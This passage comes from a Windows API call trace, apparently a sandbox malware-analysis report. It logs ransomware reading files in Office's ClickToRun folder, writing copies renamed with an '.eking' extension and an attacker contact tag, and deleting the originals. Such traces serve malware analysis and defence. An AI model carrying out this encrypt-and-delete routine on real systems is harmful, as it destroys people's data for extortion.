(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0276.642] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.642] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f4 [0276.643] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x48c0, lpOverlapped=0x0) returned 1 [0276.656] WriteFile (in: hFile=0x2f4, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x48d0, lpOverlapped=0x0) returned 1 [0276.659] WriteFile (in: hFile=0x2f4, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x122, lpOverlapped=0x0) returned 1 [0276.659] CloseHandle (hObject=0x2f0) returned 1 [0276.659] CloseHandle (hObject=0x2f4) returned 1 [0276.659] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0276.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0276.662] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=19648) returned 1 [0276.662] CloseHandle (hObject=0x2f4) returned 1 [0276.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0276.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0276.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0276.663] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.663] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f0 [0276.664] ReadFile (in: hFile=0x2f4, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x4cc0, lpOverlapped=0x0) returned 1 [0276.671] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x4cd0, lpOverlapped=0x0) returned 1 [0276.673] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x112, lpOverlapped=0x0) returned 1 [0276.674] CloseHandle (hObject=0x2f4) returned 1 [0276.674] CloseHandle (hObject=0x2f0) returned 1 [0276.674] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0276.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0276.677] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=22720) returned 1 [0276.678] CloseHandle (hObject=0x2f0) returned 1 [0276.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0276.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0276.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0276.910] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.930] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2fc [0276.941] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x58c0, lpOverlapped=0x0) returned 1 [0276.958] WriteFile (in: hFile=0x2fc, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x58d0, lpOverlapped=0x0) returned 1 [0276.959] WriteFile (in: hFile=0x2fc, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x122, lpOverlapped=0x0) returned 1 [0276.960] CloseHandle (hObject=0x2f0) returned 1 [0276.960] CloseHandle (hObject=0x2fc) returned 1 [0276.960] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0276.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0276.963] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=26816) returned 1 [0276.963] CloseHandle (hObject=0x2fc) returned 1 [0276.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0276.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0276.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0276.964] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.964] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f0 [0276.964] ReadFile (in: hFile=0x2fc, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x68c0, lpOverlapped=0x0) returned 1 [0276.968] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x68d0, lpOverlapped=0x0) returned 1 [0276.969] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x122, lpOverlapped=0x0) returned 1 [0276.969] CloseHandle (hObject=0x2fc) returned 1 [0276.969] CloseHandle (hObject=0x2f0) returned 1 [0276.970] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0276.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0276.972] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=70848) returned 1 [0276.972] CloseHandle (hObject=0x2f0) returned 1 [0276.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0276.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0276.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0276.973] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.973] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2fc [0276.974] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x114c0, lpOverlapped=0x0) returned 1 [0276.978] WriteFile (in: hFile=0x2fc, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x114d0, lpOverlapped=0x0) returned 1 [0276.980] WriteFile (in: hFile=0x2fc, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x122, lpOverlapped=0x0) returned 1 [0276.980] CloseHandle (hObject=0x2f0) returned 1 [0276.980] CloseHandle (hObject=0x2fc) returned 1 [0276.981] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0276.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0276.983] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=19648) returned 1 [0276.983] CloseHandle (hObject=0x2fc) returned 1 [0276.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0276.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0276.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0276.984] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.984] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f0 [0276.984] ReadFile (in: hFile=0x2fc, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x4cc0, lpOverlapped=0x0) returned 1 [0276.987] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x4cd0, lpOverlapped=0x0) returned 1 [0276.989] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x122, lpOverlapped=0x0) returned 1 [0276.989] CloseHandle (hObject=0x2fc) returned 1 [0276.989] CloseHandle (hObject=0x2f0) returned 1 [0276.990] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1 [0276.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0276.992] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=23232) returned 1 [0276.992] CloseHandle (hObject=0x2f0) returned 1 [0276.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0276.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0277.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0277.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0277.254] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0277.254] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0277.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f0 [0277.255] ReadFile (in: hFile=0x300, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x5ac0, lpOverlapped=0x0) returned 1 [0277.258] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x5ad0, lpOverlapped=0x0) returned 1 [0277.260] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x122, lpOverlapped=0x0) returned 1 [0277.260] CloseHandle (hObject=0x300) returned 1 [0277.260] CloseHandle (hObject=0x2f0) returned 1 [0277.260] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0277.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0277.262] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=162880) returned 1 [0277.262] 